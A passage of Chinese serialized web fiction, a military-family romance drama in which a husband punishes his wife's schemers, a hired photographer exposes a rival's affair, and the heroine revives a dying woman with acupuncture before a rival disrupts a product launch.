尽管外面形式一片大好,但傅清寒仍是面色不虞。 当时在拿到詹骁那份详尽的调查报告,看到林晚晴从看守所里遥控指挥陈瑶的线索时,他眼中一片冰冷。 林晚晴这真是小看你了。 现在陈瑶处理完了,该轮她了。 他拨通了詹骁的电话,声音冷得像淬了冰的刀。 “詹骁,林晚晴在看守所太清闲了,去跟看守所那边‘打个招呼’。” “老大,我明白,您就瞧好吧。”自从白凝凝治好了张虎等人,整个团的人都把嫂子当做是菩萨,而林晚晴却敢拿这种下三滥的流言蜚语来污蔑算计他们嫂子,简直是活腻歪了。 傅清寒不知道詹骁此时的腹诽,补充道:“还有,林晚晴能从看守所里递出消息,背后必然有帮手,查查。” “知道了,老大,这就去查。”要说不说,还是他们老大心细。 挂了傅清寒的电话,詹骁立刻就给看守所那边打招呼,“老刘啊,你们那怎么回事,看押的犯人居然还能指点江山,怎么,你们看守所是筛子?四处漏风?” 这个老刘也不是别人,正是曾和詹骁一起服役的兄弟,只是提前退伍了,现在在看守所。被老战友这么一说弄得颇没面子,“哎,你别说了。谁能知道这娘们儿这么多心眼。” “心眼?”詹骁呸了一声,“我看是脏心烂肺!既然她闲得发慌生是非,那就给她找点事做。她不是大小姐吗?最爱干净,最重体面。那就让她去刷厕所,掏下水道,把所里最脏、最累、最恶心的活,全都包了。” “知道了,知道了。”,老刘嘟囔,“这不用你教我,我还能不知道怎么说。进来了还不老实,还敢给傅团长添堵,生怕自己过得太滋润了。你放心,骁哥,从今天起,她是‘重点关照对象’。饭菜,给她换成最差的那一档。铺盖,也别给那么干净的。让她好好体验一下,什么叫‘劳动改造,什么叫人间疾苦。” “那就交给你了。还有探视过林晚晴的名单给我一份。” “行,骁哥你等着吧。” 在看守所老刘配合下,很快他们就查到了刘沫。 傅清寒看着詹骁送来的资料,给林晚晴传递消息的人是刘沫,林家女仆。 他淡淡地对詹骁下令:“这种吃里扒外、助纣为虐的家贼,留着也是祸害。把她为林晚晴传递消息、挑拨拱火,寻衅滋事,匿名寄一份给林庆国。我相信,林总是个聪明人,知道该怎么处理这种‘家贼’。” 詹骁点头,林晚晴撺掇陈瑶,但并没直接露面,拿到台面上也许处罚不了什么。但私底下是得罪死了傅家和陈家,与其把事情交给官方,还不如把刀递给林家,让他们自己处理。远比官方出面更有效。 果然,当林父收到消息,得知这个在林家待了二十多年的女仆,竟然背着他,帮助自己那个关进看守所的逆女兴风作浪,甚至再次招惹上傅清寒时,又怒又后怕! 他当场就将刘沫开除,并且动用关系,让她在京市所有的家政圈子里都彻底社死,再也找不到任何一份体面的工作。 更是严禁林家任何人去探视林晚晴。 林母知道这件事,心疼怀了,刘沫是她从娘家带来的自己人,而且刘沫去看晚清也是她默认的。这不是在打自己的脸吗?“林庆国!你凭什么赶走我的人!” “凭什么?就凭我是一家之主!”林庆国目眦尽裂,这个女人还不知道这件事多严重,“你的人?你不问问你的人都干了什么?我还没找你算账呢!” “不就是去看了晚晴吗?那是我亲生女儿啊!是我从小娇生惯养养大的!在那种地方不打点怎么行?!” “还打点?打点个屁!”林庆国瞪着她,“她撺掇陈家孙女抹黑傅清寒的媳妇,把两家都得罪死了。都是你教出来的好女儿!这个孽障就是想害死我们林家!从今天,不许家人任何人去看她,也不许给她寄东西。让她再那儿老老实实待着!吃吃苦,好好想想她哪里错了!” “你……你……”林夫人哪里没见过丈夫这个样子,一时间语塞。 “谁敢去就别怪我翻脸!”林庆国拂袖而去,也懒得再搭理她。 林庆国这一番脾气下来,整个林家噤若寒蝉,没人再敢去看林晚晴。 再加上詹骁打的招呼,林晚晴在看守所里从“重点关照对象”,变成了“重点改造对象”,每天累得像条死狗,再也没有半分大小姐的体面。 傅清寒做完这一切,才觉得胸中戾气稍稍平息一些,他将所有的证据和报告,锁进了书房最深处的保险柜里,没有告诉任何人,包括白凝凝。 他不想让这些肮脏的人和事,再来污染小妻子的眼睛和耳朵。 他为她扫清了所有的障碍,然后回到她身边,继续当那个因为她多看别的男人一眼而吃醋,因为她一句软语而心软的、笨拙又深情的丈夫。 —— 而这场风暴的另一边,楚小小在得知陈瑶被送走,傅清寒的诊断报告被公之于众后,彻底慌了神。 她知道,这回是真的踢到铁板了!傅清寒这是在杀鸡儆猴,下一个要收拾的,就是她们! 楚小小再也不敢在傅家主宅作威作福,整个人都乖巧多了,生怕下一秒,就会有纪委的人来“请”她去喝茶。 “小小,你怕什么?”李茹看不惯女儿这副被吓坏的鹌鹑样儿。 “我们斗不过白凝凝的,本来傅清寒都把她看成眼珠子。现在怀孕了,更是护得跟什么似的。” “护?他护什么?那又不是他的种。他把陈瑶赶走,无非就是维护他自己的脸面罢了。” “妈,傅清寒有报告的,军区医院出的。”楚小小小声反驳,又有点委屈和不甘:“现在好了,白凝凝有了孩子,谁还在乎我肚子里的。” 第77章 惊天大瓜 “报告?报告算个屁!”李茹撇撇嘴,眼神里充满了小人之心的鄙夷。报告的事已经传遍了,李茹当然也知道,但她并不相信。 在她看来,傅清寒的反应太大了,如果他真的不心虚,何必动这么大的阵仗? 还请了十几个专家联合会诊出报告,不就是此地无银三百两,欲盖弥彰嘛! “那玩意儿还不是人写的?傅清寒是什么身份?白凝凝又在医院挂名坐诊,他们两个想让医院出个假报告,那还不是一句话的事?” 楚小小听了母亲的话也觉得有几分道理,可还是觉得不稳当。“可是不管是真的假的,现在大家都已经信了啊。我们说什么都没用,连陈家孙女都被傅清寒送去了马场,谁还敢议论啊。” “傻女儿,信是一回事。真的又是另一回事。假的真不了!你想想他为什么要这么大张旗鼓?不就是心虚吗!不就是怕别人抢了他好不容易到手的家产和地位吗!” 李茹越想越觉得自己的猜测是对的。 家产! 是的,家产!傅清寒闹这么一出,又是出报告,又是拿陈瑶开刀,为的不就是傅家的家产嘛! 可他以为自己的一纸报告和敲打一下陈瑶堵住悠悠众口就行了? 天真! 只要坐实了白凝凝出轨的“证据”,那她肚子里的孩子就清白不起来!到时候他们全身都是嘴也说不清楚! 这样的话小小肚子里的孩子就是他们傅家唯一的继承人,而自己和小小就将是这场争斗中,唯一的胜利者! 所以,现在的关键就是一定要抓住白凝凝的把柄! —— 她拿出了自己最后的私房钱——那是她当年还是局长夫人时,攒下的压箱底的体己。 通过一个不入流的远房亲戚,联系上了一个在大院附近非常活跃、专门做些跟踪拍照、抓人把柄的“街溜子”,人称小刘。 两人约在一家不起眼的小茶馆见面。 李茹没有废话,直接将白凝凝的照片和一叠厚厚的钞票,推到了小刘面前。 “照片上的女人,白凝凝。我要你,二十四小时跟着她,把她和别的男人不清不楚的证据拍下来!尤其是和那个陆家少爷和陈家的!” 小刘看着那叠钱,眼睛都直了,他舔了舔嘴唇,搓着手问道:“李大姐,这……不好办吧?人家可是傅团长的媳妇儿……咱们这附近的谁不知道傅团长疼媳妇。” 李茹冷笑一声,又从包里拿出了一叠钱,拍在桌上:“办好了,这些,也都是你的。办不好……我就把你这些年偷拍的事说出去!到时候你还能有好日子过?”说着眯起了眼睛。 软硬兼施,小刘哪还敢犹豫,立刻将胸脯拍得邦邦响:“您就瞧好吧,李大姐!我保证给您办得妥妥的!但是将来可别把我说出来啊。” 然而,接下来的一个星期,小刘却过得异常烦躁。他发现,那个叫白凝凝的女人,生活干净得像一张白纸,除了去医院或者工作室,就是在家待着,根本找不到任何可以做文章的“黑料”。 “妈的,这钱真他娘的难挣!”小刘蹲在“凝悦”工作室对面的巷子口,恨恨地吐了一口唾沫。 他已经在这儿蹲点了两个钟头了,一会儿人就该离开回家了。今天又是毫无收获的一天,他娘的还不如自己早点回家睡觉! 就在他快要放弃的时候,机会却自己送上门了! 一辆轿车停在了工作室门口,从车上下来的,赫然正是李茹口中那个重点怀疑对象——陆家少爷,陆泽远! 小刘的心脏瞬间提到了嗓子眼!他立刻举起了相机,将镜头对准了工作室的大门。 只见陆泽远行色匆匆地进了工作室,大约过了半个多小时,他又和白凝凝一起走了出来。 两人似乎在讨论着什么技术问题,陆泽远拿着一份文件,说得眉飞色舞,而白凝凝则侧耳倾听,不时点头。 两人走到车边,陆泽远似乎意犹未尽,又拉着白凝凝说了好一会儿。就在这时,一辆自行车从旁边经过,眼看就要撞到站在路边的白凝凝! “小心!” 陆泽远眼疾手快,出于本能,一把抓住了白凝凝的手臂,将她往自己身边拉了一把,帮她躲过了冲撞。 而这个动作,在小刘的镜头里,被无限地放大了! “咔嚓!” 小刘精准地捕捉到了这一瞬间——男人将女人“拥”入怀中,女人微微仰头看着男人,两人“四目相对”,姿态亲密…… “得手了!”小刘心中一阵狂喜!他知道,这张照片,再配上李茹给的那些“剧本”,绝对能掀起轩然大波! 反正自己只管把照片交给李茹就行了,他们之间的事自己才不掺和,他傅团长有气也撒不到他头上。 他心满意足地收起相机,正准备离开,去向李茹邀功领赏。可就在这时,眼角的余光,却意外地捕捉到了另一道熟悉又鬼祟的身影。 一个高高隆起肚子的女人,正戴着宽檐帽,小心翼翼地从不远处的傅家主宅后门溜了出来,上了一辆早就停在街角的黑色伏尔加小轿车。 小刘的职业嗅觉瞬间就上来了!那女人的脸一闪而过,但他从小在街面上摸爬滚打,早就练就一身过目不忘的本事。 那不正是傅家孙媳妇,李茹的闺女楚小小吗! 这大白天的,她一个孕妇又不上班,偷偷摸摸地溜出来干什么?还上小汽车?难不成是私会? 这里面,绝对有事! 八卦和好奇让他激动得心脏狂跳,更是压下了这会儿去邀功的心思。 他立刻蹬上自己那辆破旧的二八大杠,像一个经验丰富的猎人,远远地吊在了那辆小轿车的后面。车子七拐八绕,最终在一家偏僻的咖啡馆门口停下。 楚小小下车后,一个穿着时髦飞行员夹克、长相俊美的男人,立刻满脸堆笑地迎了上去。 等他们进了咖啡馆,小刘悄悄凑过去,看到在一个不起眼的角落,男人极其自然地揽住了她的腰。 两人举止亲密,言笑晏晏,完全不像普通朋友。 小刘的心脏都快跳出嗓子眼了!他猫着腰,像一只捕食的野猫,悄悄地靠近了那扇临街的巨大玻璃窗。躲在一盆茂盛的滴水观音后面,这个角度,既能清晰地看到里面的一切,又不容易被发现。 他屏住呼吸,悄悄地举起相机,对着两人在咖啡馆窗边私会的场景,疯狂地按下了快门! 第78章 狗仔的救命恩人 他甚至还隐约听到了一些让他心惊肉跳的对话。只听楚小小带着一丝后怕和惊讶地问:“宇轩,你……你怎么这么快就出来了?军服那件事……我还以为……” 那个叫赵宇轩的男人则轻蔑地一笑,伸手抚上她隆起的小腹,语气暧昧:“出来?我根本就没怎么进去。我家在港岛那边,还是有几分薄面的。” “港岛?”楚小小愣了一下,她是重生的,但她一直以为赵宇轩就是个普通南方商人,没想到…… “是啊,港岛,小小你跟着我不会吃亏的,”他低下头轻佻勾起小小的一缕头发,“倒是你那个亲家公,怕是这辈子都翻不了身了。不过这样也好,以后我来看我们家的‘宝贝’,也方便点,不是吗?” 我们家的……宝贝?! 轰——! 躲在绿植后的小刘,只觉得一道天雷在耳边炸响!心脏狂跳得几乎要从嗓子眼里蹦出来! 惊天大瓜!这他妈是能让傅家翻天的惊天大瓜啊! 傅家费尽心机保下来的“长房长孙”,竟然是个野种?! 小刘的呼吸瞬间变得急促,血液里每一个细胞都在叫嚣着兴奋!他知道,自己这次发达了!他颤抖着手,抓紧了胸前的海鸥相机,透过滴水观音宽大的叶片缝隙,将镜头死死地对准了那对举止亲密的狗男女! 他看到赵宇轩从怀里拿出一个厚厚的、装着现金的信封,塞进了楚小小的手提包里。 就是现在! 小刘屏住呼吸,手指重重地按下了快门! “咔嚓——!” 一声轻微却清晰的快门声响起! 然而,就在同一时刻—— “滴滴滴滴——!滴滴滴滴——!” 他腰间别着的那个老款摩托罗拉BP机,仿佛存心跟他作对一样,用一种足以响彻半条街的音量,疯狂地尖叫了起来,还伴随着剧烈的震动! 卧槽! 小刘吓得浑身一个激灵,手一抖,相机差点脱手!他手忙脚乱地去摁那个该死的BP机,心里把呼他的人骂了一百遍! 咖啡馆里,赵宇轩和楚小小的脸色,瞬间大变! “谁?!”赵宇轩的反应极快,他猛地推开楚小小,一双锐利的鹰眼,如利剑般,瞬间就锁定了窗外那盆不正常晃动着的滴水观音! 完了! 小刘的心,瞬间沉到了谷底!他感觉自己像是被毒蛇盯上的青蛙,连动都不敢动一下,后背瞬间被冷汗浸湿! 就在赵宇轩即将起身冲出来的前一秒—— “滴滴滴滴——!滴滴滴滴——!” 另一阵同样刺耳的BP机铃声,从咖啡馆里面响了起来! 一个端着咖啡的服务员,正手忙脚乱地从口袋里掏出自己的BP机,满脸歉意地对他们说:“不好意思先生,不好意思……” 赵宇轩和楚小小的视线,瞬间被那个服务员吸引了过去。两人紧绷的神经,这才稍稍放松下来,都以为刚才的声音,是来自这个服务员。 天助我也! 小刘抓住这千钧一发的时机,几乎是连滚带爬地,趁着服务员端上咖啡、挡住他们视线的那一瞬,闪身躲进了旁边的小巷子里! 他一口气跑出很远才靠在冰冷的门板上,大口大口地喘着粗气,感觉自己刚从鬼门关里走了一遭。 他这才颤抖着手,拿出自己的BP机。屏幕上,赫然显示着一串熟悉的号码——他老妈工作的纺织厂车间主任办公室的电话。 后面跟着三个鲜红刺眼的数字——119! 出事了! 小刘的脸“唰”地一下白了,也顾不上什么惊天大瓜了,将相机往怀里一揣,头也不回地冲向街对面的公用电话亭! “喂!李主任吗?!我是小刘!怎么了?!”电话一接通,他的声音就因为焦急而破了音。 “小刘!你快来军区医院!你妈……你妈上班的时候突然晕倒了!已经……已经下了病危通知书了!” 轰——! 小刘脑子“嗡”的一声,当场就懵了!他疯了一样地冲向医院。当他赶到时,看到的,却是抢救室门口那盏刺眼的红灯,和医生们束手无策的、摇着头的无奈表情。 “对不起,我们已经尽力了。病人的心跳非常微弱,随时可能停止……准备后事吧。” 就在小刘感觉天都要塌下来,跪在抢救室门口,哭得肝肠寸断的时候,一个清冷而又镇定的声音,像天籁般在他头顶响起。 “让一下,我是医生。” 小刘抬起头,看到的,竟然是他跟踪了多日的那个目标——白凝凝!她胸前还挂着军区总院的“特聘专家”胸牌,显然是刚刚结束了在这边的巡回问诊。 小刘彻底懵了。他怎么也没想到,会在这里,以这种方式,再次见到这个女人。 白凝凝没有理会他的震惊,她的目光,已经穿过玻璃门,落在了抢救室内那个心电监护仪上——那条代表着生命体征的波纹,已经微弱得近乎一条直线! “病人是突发性心源性休克,强心针和电击已经没用了。”白凝凝只看了一眼,就做出了最精准的判断。她没有丝毫犹豫,直接对身边的护士和医生下达了指令:“准备银针!快!” 里面的主治医生认识白凝凝,知道她是连陈老总都能从鬼门关拉回来的“神医”,虽然心中存疑,但还是立刻让护士将消毒好的银针递了过去。 白凝凝接过银针,没有丝毫犹豫,直接推门走进了抢救室。 她看着病床上那个面如金纸、呼吸微弱的老人,眼神瞬间变得专注而又锐利。她甚至没有去听那些仪器的报警声,只是伸出两根手指,在老人心口的几处大穴上飞快地按压了几下。 “心脉已绝,但尚有一丝残阳未散。”她心中瞬间有了判断。 下一秒,她手腕轻抖,几根细如牛毛的银针,如同长了眼睛一般,精准无比地、快如闪电地刺入了老人心口周围的“神封”、“灵墟”、“步廊”等几处保命大穴! 她的动作行云流水,快得让人眼花缭乱。 然后,她闭上眼睛,将自己那本就不多的却精纯无比的内力,缓缓地通过银针注入老人的心脉之中,试图将那丝即将熄灭的“残阳”,重新点燃! 时间,一分一秒地过去。 抢救室外,小刘跪在地上,一颗心提到了嗓子眼。 第79章 小刘的坦白 抢救室内,所有人都屏住了呼吸,不敢相信地看着眼前这一幕。足足过了十分钟。 就在所有人都以为回天乏术的时候—— “滴……滴滴……滴滴滴……” 心电监护仪上,那条原本已经近乎拉直的死亡之线,竟然奇迹般地,开始出现了微弱,却有规律的起伏! 那起伏越来越强,越来越有力! 病床上,那原本已经面如金纸的老人,脸上竟缓缓地,泛起了一丝血色! “活……活过来了!!” 不知是谁,第一个发出了惊呼! 整个抢救室,瞬间沸腾了!所有医生和护士,都用一种看神仙的眼神,看着那个依旧闭着眼、额角渗出细密汗珠的白凝凝! 他们亲眼见证了一场由中医创造的、起死回生的医学奇迹! 哇,这就是大名鼎鼎的白神医吧,平时看着不显山露水的,这一手本事见一次这辈子都不白活了! 白凝凝缓缓收回银针,长长地吐出一口气。她那双清澈的眸子里却满是释然,但脸色也因为消耗过大而显得有些苍白, 自从怀孕之后,她就感到灵气愈发匮乏了,好在有两枚玉佩的滋养,那也常常力不从心。 她刚走出抢救室,小刘立刻扑了上来,跪在她面前,哭得涕泪横流:“白神医!谢谢您!您救了我妈!您就是我们家的大恩人!我……我给您磕头了!” 白凝凝看着他:“我救你母亲,是因为我是医生。与你无关。” 小刘想起自己之前受了李茹的教唆,去跟踪偷拍恩人。一股巨大的羞愧、后怕和感激,瞬间淹没了他! 自己差点就成了伤害自己救命恩人的帮凶! 巨大的愧疚和母亲死里逃生的庆幸让他涕泗横流,白凝凝见他这样,只以为他是个孝顺孩子,便拍了拍他的肩膀,“别哭了,没事了。好好照顾老人吧。” 小刘看着她离开的背影,重重地磕了一个头。 当天晚上,他没有去找李茹交差,而是揣着这两样东西,鬼鬼祟祟地来到了傅清寒小院所在的胡同口。 然而,他刚一靠近,还没等看清小院的门,就被两道黑影从暗处闪出,瞬间制服! “什么人?!” 冰冷的刀刃抵在他的喉咙上,一股凌厉的杀气让他瞬间如坠冰窖,吓得魂飞魄散! 这两人动作快如鬼魅,配合默契,一看就是真正上过战场、杀过人的主儿!他们正是傅清寒安排在暗中保护白凝凝的张虎和另一名侦察兵! “别……别动手!我是来找傅部长的!我有重要的东西要交给他!”小刘吓得裤子都快湿了,声音哆哆嗦嗦地喊道。 张虎将他死死按在墙上,另一人则迅速对他进行了搜身,很快就从他怀里搜出了那卷胶卷和那个装满现金的信封。 “老大,有情况。”张虎通过一个微型通讯器,低声汇报。 片刻后,小院的大门“吱呀”一声,从里面打开了。 傅清寒穿着一身黑色的家居服,缓缓走了出来。他没有靠近,只是站在门口的灯光下,居高临下地,用那双冰冷锐利的眼睛,审视着这个被按在墙上、抖如筛糠的男人。 “老大,就是他,最近一直在嫂子工作室附近鬼鬼祟祟。”张虎汇报道。 傅清寒的眼神瞬间冷了下来。 小刘被他那不怒自威的气场吓得双腿一软,差点瘫倒在地。他知道,自己要是说错一句话,今天可能就走不出这儿了。 他用尽全身的力气,对着傅清寒的方向,带着哭腔喊道:“傅……傅部长!我对不起您!我对不起白神医!我是个混蛋!我不该收李茹那个毒妇的钱来害白神医!” 李茹? 傅清寒的眉头微微一挑。 他没有立刻发问,而是对侦察兵使了个眼色。 侦察兵立刻将那卷胶卷和信封,恭敬地递到了傅清寒面前。 傅清寒接过胶卷,在灯光下看了看,又打开那个信封,看到了里面厚厚的一沓“大团结”。他没有急着去审问小刘,而是先让张虎去调查这个人。 他转身,正准备回屋,却发现白凝凝不知何时,已经悄无声息地站在了门廊下。她显然是被外面的动静惊醒了,只披了一件他的军装外套,赤着脚,一双清澈的眸子里带着一丝担忧和困惑。 “出什么事了?”她轻声问道,目光落在了那个被侦察兵死死按住、抖如筛糠的小刘身上。 傅清寒看到她出来,眉头一皱,快步上前,将她拉到自己身后,用自己的身体挡住夜风和那个陌生的男人,语气里带着一丝责备:“怎么出来了?晚上凉。” 那个被按在地上的小刘,在看清从屋里走出来的白凝凝的那一刻,情绪瞬间崩溃了! 他也不知从哪里来的力气,猛地挣脱了侦察兵的钳制,“噗通”一声,朝着白凝凝的方向,重重地跪了下来,一边磕头,一边涕泗横流地哭喊: “白神医!我对不起您!我不是人!我是个忘恩负义的畜生!您救了我妈,我……我却收了钱要害您!您打我吧!您骂我吧!” 白凝凝也愣住了,她看着眼前这个痛哭流涕的男人,脑中飞速闪过今天下午在医院抢救室门口,那个跪地痛哭的孝子。 原来是他。 傅清寒的脸色,在这一刻彻底沉了下来。他将白凝凝护在怀里,对着小刘,声音不带一丝温度地开口: “说吧。怎么回事。” 小刘不敢有丝毫隐瞒,也不敢抬头看白凝凝那双清澈的眼睛。他就那么跪在地上,竹筒倒豆子一般,全都说了出来。从李茹如何找到他,让他偷拍白凝凝,到他今天如何意外拍到了楚小小和赵宇轩的私会,再到白凝凝如何在医院里,将他母亲从鬼门关拉了回来…… 听完小刘的讲述,白凝凝先是有些错愕,随即脸上便浮现出一丝哭笑不得的神情。她摇了摇头,有些无奈地对傅清寒说:“我还以为是什么大事。想凭几张捕风捉影的照片污蔑我出轨?这李茹的段位,也太天真了。” 在她看来,这种上不了台面的小把戏,根本不值一提。只要她和傅清寒互相信任,外界的流言蜚语,不过是过眼云烟。 而且她现在动不动就很累,也提不起精神来计较这点事。 但傅清寒静静地听着,脸上的表情没有一丝变化,但那双黑眸里,却满是寒霜。 这个李茹和楚小小还是贼心不死。一想到他的凝凝身边潜伏着这样的毒蛇,他就欲除之后快。 他把玩手里的胶卷,甚至连看的兴趣都没有,正想让警卫员把这个不成器的小刘打发走,自己再去好好“敲打”一下那个不知死活的李茹。 就在这时,小刘压低了声音,“傅团长,这里面除了我偷拍白神医的,还有……无意中拍到的东西……好像是李茹的闺女…楚小小…” 第80章 帮我做件事 傅清寒的动作微微一顿。他看了一眼怀里因为怀孕而显得有些恹恹的、似乎对这些阴谋诡计已经提不起兴趣的妻子,又看了一眼地上那个因为紧张而声音发抖的小刘。 他不想让这些不上台面的腌臜事,脏了凝凝的耳朵,费了凝凝的神。 “张虎,”他低声命令道,“带他去书房。” “是!”张虎和另一名侦察兵的身影,从暗处出现,一左一右架起小刘,悄无声息地将他带进了书房。 傅清寒这才低下头,揉了揉白凝凝的头发,语气温柔得能滴出水来:“好了,没事了。都是些上不了台面的小丑,交给我处理。你快回房睡觉,别着凉了。” 凝凝摇摇头,“折腾了半天,现在也不困了。总得去瞧瞧他们是怎么编排我的。” 傅清寒看着她眼中那丝疲惫,心中一疼,但更多的是无奈和宠溺。他知道,他的小妻子骨子里是个要强的,不让她亲眼看到结果,她今晚怕是也睡不安稳。 “好。”他妥协了,将她打横抱起,惹来她一声低低的惊呼,“地上凉,不许赤脚。” 他抱着她走进灯火通明的书房,将她放在宽大的椅子上,又细心地为她盖上毯子,小刘则被张虎他们带到了傅清寒小院的暗房里,亲自冲洗那两卷胶卷。 很快,第一批照片被小心翼翼地送了进来,平铺在书桌上。 白凝凝凑过去一看,当她看到其中一张照片时,呼吸猛地一滞。 照片的角度拍得极其刁钻。从那个角度看,陆泽远将她拉向自己的动作,看起来就像一个充满了占有欲的拥抱,而她微微仰头、略带错愕的表情,则被定格成了一种“含情脉脉”的对视。 这张照片,在不明真相的人眼里,就是一出活生生的“红杏出墙”的铁证! 白凝凝的心,瞬间就凉了半截。她下意识地抬起头,看向身边的傅清寒,想开口解释,却发现自己的喉咙像是被什么东西堵住了,一个字也说不出来。 她怕。 她怕看到他眼中哪怕一丝一毫的怀疑和失望。 傅清寒只是静静地看着那张照片,脸上没有任何表情,那双深不见底的黑眸里,情绪晦暗不明,让人根本看不透他在想什么。 客厅里的空气,仿佛凝固了。 就在白凝凝感觉自己快要窒息时,傅清寒终于动了。 他没有质问,没有愤怒,甚至没有看她一眼。他只是伸出手,修长的手指轻轻地拈起那张照片,然后,用一种极其平静的、甚至可以说是淡漠的语气,缓缓开口: “拍得不错。” 他顿了顿,将照片举到灯光下,像是在欣赏一件艺术品,又像是在陈述一个与自己无关的事实: “光线、角度、人物表情的抓拍……都恰到好处。可以拿来讲个故事,这个小刘有点本事。” 她声音里带着一丝自己都未察觉的颤抖:“清寒,我……” “嘘。” 傅清寒却突然伸出食指,轻轻地按在了她的唇上,阻止了她所有即将出口的解释。 他转过头,那双深邃的黑眸,终于看向了她。那里面,没有她预想中的愤怒和失望,只有一片深不见底的漩涡。 “别解释,我知道泽远只是扶了你一把。但是我承认,凝凝,我是不高兴。” 他的目光,灼灼地锁着她那双因为紧张而微微颤动的眸子:“我不高兴看到任何一个男人,离你这么近。不高兴他眼睛这样盯着你看,哪怕那个人是我们的朋友。” 他顿了顿,将那张照片扔在茶几上,仿佛那是什么不值一提的垃圾。然后,他伸出双手,捧起她的小脸,拇指轻轻抚过她眼角,声音里染上了无奈的自嘲:“凝凝,怎么办呢?我好像……越来越小心眼了。” “你……”凝凝心里微动,一时间也不知道说什么好。 就在她迟疑的时候,张虎就拿着第二批冲洗好的照片,快步走了进来。 当那几张清晰地记录着楚小小与赵宇轩私会、举止亲密、甚至还有金钱交易的照片,摆在两人面前时,傅清寒的眼神,也瞬间变得锐利如刀! 凝凝也压下了刚刚心底的悸动。 两人再次对视,这一次,他们都从对方眼中看到了同一个信息—— 这件事,大了! 这不再是简单的栽赃陷害!这牵扯到了一个更深、更致命的秘密——楚小小肚子里的孩子,那个被傅家大房当成“唯一香火”的“金孙”,血脉有问题! 白凝凝的心中,瞬间闪过一个念头,她看着傅清寒,声音里带着一丝后怕:“清寒,你想想,如果小刘今天没有因为我救了他母亲而心生感激,如果他……直接把这两卷胶卷,都交给了李茹……” 傅清寒的脸色也沉了下来。他明白了白凝凝未尽的话语。 他拿起那张记录着陆泽远“扶”了白凝凝一把的照片,又看了看桌上楚小小和赵宇轩那些不堪入目的照片,一张是捕风捉影的‘假证据’,一张是能一招致命的‘真炸弹’。” 如果李茹拿到了这些照片,她会怎么做?她会立刻销毁所有关于楚小小的“真证据”,然后拿着那张白凝凝和陆泽远的“假证据”,煽风点火,来对付自己和凝凝!到那时,他们将彻底陷入被动! 他们当然不会给她们这种机会。 既然他们这么喜欢演戏,那我们就搭好台子,让他们演个够。 傅清寒看着跪在地上,一脸悔恨的小刘,眼中闪过一丝赞许。他将小刘扶起,又从抽屉里,拿出了另一笔远超李茹雇佣费的钱,塞到了小刘手里。“这钱,一部分是你应得的,另一部分,是你母亲的营养费。我傅清寒,恩怨分明。你悬崖勒马,又送来了这么重要的东西,我保你母亲衣食无忧。” 他嘴角勾起一抹冰冷的弧度,将那卷记录着“楚小小真奸情”的胶卷小心地收好,将那张记录着“白凝凝和陆泽远亲密瞬间”的照片推了回去。 “现在,我要你,帮我做一件事。” 第81章 发布会上的反击 “你就告诉她,这是你费了九牛二虎之力才拍到的‘铁证’。”傅清寒的眼神,冷得像冰,“她要的,是‘白凝凝出轨’的证据,而不是‘她女儿出轨’的证据。她只会看到她想看到的东西。” 而他扣下了楚小小和赵宇轩的照片,作为之后反击李茹的的礼物。 —— 果然第二天,小刘将那叠处理过的“铁证”照片,送到了她的手上。 李茹看着那张混在里面,白凝凝和陆泽远的“亲密照”,她欣喜若狂! 她所有的猜想果然都是真的! 白凝凝那个贱人果然在外面偷人! 她就是知道傅清寒的报告就是欲盖弥彰,掩人耳目! 所有人都蒙在鼓里,只有自己明察秋毫,抓住了可以一招致命的王牌! 她摩挲着那些照片,脸上露出了胜券在握的笑容。 她要等一个机会,一个最盛大、最公开的机会,当着所有人的面,将这些“证据”甩出来,让白凝凝和傅清寒,彻底身败名裂,永世不得翻身! 到那个时候,傅家唯一的金孙就在自己女儿的肚子里,傅家的家产都是她们的! 而这个机会,很快就来了—— 军区总院的李建国院长,为了表彰白凝凝在“问题军服”事件中的突出贡献,并正式推广“凝悦祛疤膏”这款革命性的产品,决定以医院和军区的名义,联合为“凝悦”品牌举办一场盛大的产品发布暨表彰大会。 届时,军区领导、市里领导、各大医院专家以及京市所有主流媒体,都将出席。 李茹知道,她的舞台,来了。 —— “凝悦”品牌的产品发布暨表彰大会,如期在京市饭店最顶级的宴会厅举行。这一天,宴会厅内外,冠盖云集,星光熠熠。 军区和市里的领导、各大医院的专家教授、以及京市所有主流媒体的记者,几乎将整个大厅挤得水泄不通。所有人都想来见证,这款由军方背书的“神药”,将如何正式开启它的传奇。 白凝凝作为绝对的主角,穿着一身由秦悦亲自设计的、简约而不失大气的白色小礼服,站在后台,从容地准备着自己的发言稿。 而傅清寒,则穿着一身笔挺的军装,像一尊守护神,静静地站在她的身侧,替她挡掉了一切不必要的打扰。 与此同时,宴会厅的宾客席上,两个不请自来的“客人”,也已经悄然就座。 李茹和楚小小。 李茹特意换上了一件压箱底的、最贵重的旗袍,脸上画着精致的妆容,但那双眼睛里,却淬了毒一样,闪烁着兴奋与快意。她将那个装着“铁证”的牛皮纸信封,死死地攥在手心,手心因为激动而微微出汗。 楚小小则抚着自己高高隆起的肚子,享受着周围人投来的、对“傅家长孙”的关注目光。她知道,今天过后,她肚子里的这个孩子,将成为傅家真正唯一的希望。 她和她妈,将成为最后的赢家! 而一都把她踩在脚下的白凝凝将会沦为千夫所指的荡妇! 发布会正式开始。 李建国院长和军区领导率先上台致辞,对白凝凝和“凝悦”品牌给予了最高度的赞扬和肯定。 随后,在如雷的掌声中,白凝凝走上了主席台。 她没有说太多客套话,只是专业地向所有人展示了“凝悦祛疤膏”从研发到临床试验的全过程。当屏幕上出现张虎等几十名战士,身上那些狰狞的旧疤,在半个月内就几乎完全消失的对比照片时,全场响起了一片难以置信的惊叹声! 掌声,经久不息! 就在发布会的气氛达到最高潮,主持人准备宣布产品正式上市时—— “我反对!” 一个尖利刺耳的声音,像一把锥子,狠狠地扎破了这热烈的气氛! 所有人循声望去,只见李茹猛地从座位上站了起来,她高高地举起手中的那个牛皮纸信封,脸上带着一种病态的、扭曲的亢奋,大声地、歇斯底里地喊道: “我反对这个女人!反对这个不守妇道、水性杨花的女人,来代言如此神圣的产品!她不配!” 全场哗然!所有的记者,都像闻到了血腥味的鲨鱼,瞬间将镜头和话筒,全部对准了这个突然发难的女人! 李茹非常享受这种万众瞩目的感觉。她一步步地走上台,站在白凝凝的面前,眼中充满了胜利者的轻蔑和鄙夷。 “白凝凝,你别以为你做得天衣无缝!”她冷笑着,将那个牛皮纸信封里的照片,狠狠地摔在了演讲台上,照片散落一地! “你以为你怀上了孩子,就能坐稳傅家二少奶奶的位置了吗?我告诉你,不可能!我们傅家,绝不会承认一个来路不明的野种!” 